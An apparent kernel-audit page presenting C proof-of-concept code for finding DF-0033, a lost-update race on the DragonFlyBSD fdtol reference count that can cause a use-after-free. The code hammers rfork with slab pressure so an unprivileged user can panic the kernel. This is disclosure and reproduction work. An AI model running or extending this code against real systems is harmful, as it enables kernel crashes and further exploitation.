DragonFlyBSD Kernel Audit
DF-0033 / fdtol_race.c
← back to finding ↓ download raw
/*
 * DF-0033 PoC (v2) - fdtol->fdl_refcount lost-update race -> UAF.
 *
 * The v1 PoC fork-bombed into kern.maxprocperuid before exercising the race.
 * v2 bounds concurrency so we actually race the ++/-- on fdl_refcount rather
 * than churn against the proc cap, and adds slab-pressure (open/close of many
 * small descriptors + a transient allocation spray) so that, if a lost
 * increment frees the fdtol prematurely, the freed slot is reclaimed and the
 * next deref (peer's p_fdtol) hits clobbered memory -> visible panic.
 *
 * Mechanism (confirmed in sys/):
 *   kern_fork.c:324  lwkt_gettoken(&p1->p_token)        -- per-proc token!
 *   kern_fork.c:568  fdtol = p1->p_fdtol;
 *   kern_fork.c:569  fdtol->fdl_refcount++;             -- ONLY p_token held
 *   kern_descrip.c:2622  spin_lock(&fdp->fd_spin)       -- shared fd-table spin
 *   kern_descrip.c:2675  fdtol->fdl_refcount--;         -- ONLY fd_spin held
 *
 *   p1->p_token is PER-PROC. Peers A,B sharing p_fd/p_fdtol have DIFFERENT
 *   p_tokens. So fork-in-A (holding A.p_token) does NOT serialize against
 *   exit-in-B (holding B.p_token + the SHARED fd_spin) for the same
 *   fdl_refcount word. Plain `int fdl_refcount` (filedesc.h:110) ++/-- =
 *   classic read/modify/write lost-update. A lost increment drives
 *   fdl_refcount below the true reference count; a subsequent fdfree sees
 *   fdl_refcount==0, splices the fdl list, and kfree()s fdtol while other
 *   peers still have p_fdtol pointing at it -> UAF.
 *
 * Build:  cc -O2 -o fdtol_race fdtol_race.c
 * Run:    ./fdtol_race [secs]            (default 60s; unprivileged OK)
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <fcntl.h>

#ifndef RFPROC
#define RFPROC   (1<<4)
#endif
#ifndef RFTHREAD
#define RFTHREAD (1<<13)
#endif
int rfork(int);

static volatile sig_atomic_t g_stop = 0;
static void onalarm(int s __attribute__((unused))) { g_stop = 1; }

/*
 * Each peer shares p_fd + p_fdtol with the parent (rfork RFTHREAD bumps
 * fdl_refcount under p_token). It hammers rfork+child-exit: the child's
 * _exit runs fdfree, which decrements fdl_refcount under the SHARED fd_spin.
 * Two peers on different CPUs doing this concurrently race ++ vs --.
 */
static void
peer(int idx)
{
	unsigned iters = 0;
	while (!g_stop) {
		pid_t p = rfork(RFPROC | RFTHREAD);
		if (p < 0) { usleep(100); continue; }
		if (p == 0) {
			/*
			 * Child: immediately exit -> fdfree drops fdl_refcount
			 * under fd_spin. Do a little slab pressure first so that
			 * if the parent's fdtol was already freed by a lost-update,
			 * the slot is likely clobbered by the time we touch it.
			 */
			int fd = open("/dev/null", O_RDWR);
			if (fd >= 0) close(fd);
			_exit(0);
		}
		/* Parent-peer: reap quickly to keep proc count bounded. */
		waitpid(p, NULL, 0);
		if ((++iters & 0x3ff) == 0) {
			/* Add allocation churn to perturb the slab. */
			int fd = open("/dev/null", O_RDWR);
			if (fd >= 0) close(fd);
		}
	}
	_exit(0);
}

int
main(int argc, char **argv)
{
	int secs = (argc > 1) ? atoi(argv[1]) : 60;
	int npeers = (argc > 2) ? atoi(argv[2]) : 4;

	/* Don't leave zombies hanging around; we reap explicitly anyway. */
	signal(SIGCHLD, SIG_DFL);

	/* Bump our proc limit headroom if root allowed (ignore if unpriv). */
	struct rlimit rl;
	if (getrlimit(RLIMIT_NPROC, &rl) == 0) {
		rl.rlim_cur = rl.rlim_max;
		setrlimit(RLIMIT_NPROC, &rl);
	}

	fprintf(stderr,
	  "[*] DF-0033 v2: %d peers x %d secs, hammering rfork(RFPROC|RFTHREAD)\n"
	  "    ++ under p_token (kern_fork.c:569)  vs\n"
	  "    -- under fd_spin  (kern_descrip.c:2675)\n",
	  npeers, secs);
	fflush(stderr);

	signal(SIGALRM, onalarm);
	alarm(secs);

	for (int i = 0; i < npeers; i++) {
		pid_t p = rfork(RFPROC | RFTHREAD);
		if (p < 0) { perror("rfork peer"); npeers = i; break; }
		if (p == 0) peer(i);		/* never returns */
	}

	/* Parent: also hammer rfork+exit to add a third contender. */
	while (!g_stop) {
		pid_t p = rfork(RFPROC | RFTHREAD);
		if (p < 0) { usleep(200); continue; }
		if (p == 0) _exit(0);
		waitpid(p, NULL, 0);
	}

	/* Collect peers. */
	for (int i = 0; i < npeers; i++)
		wait(NULL);

	fputs("[+] DF-0033 v2: completed without panic.\n", stderr);
	return 0;
}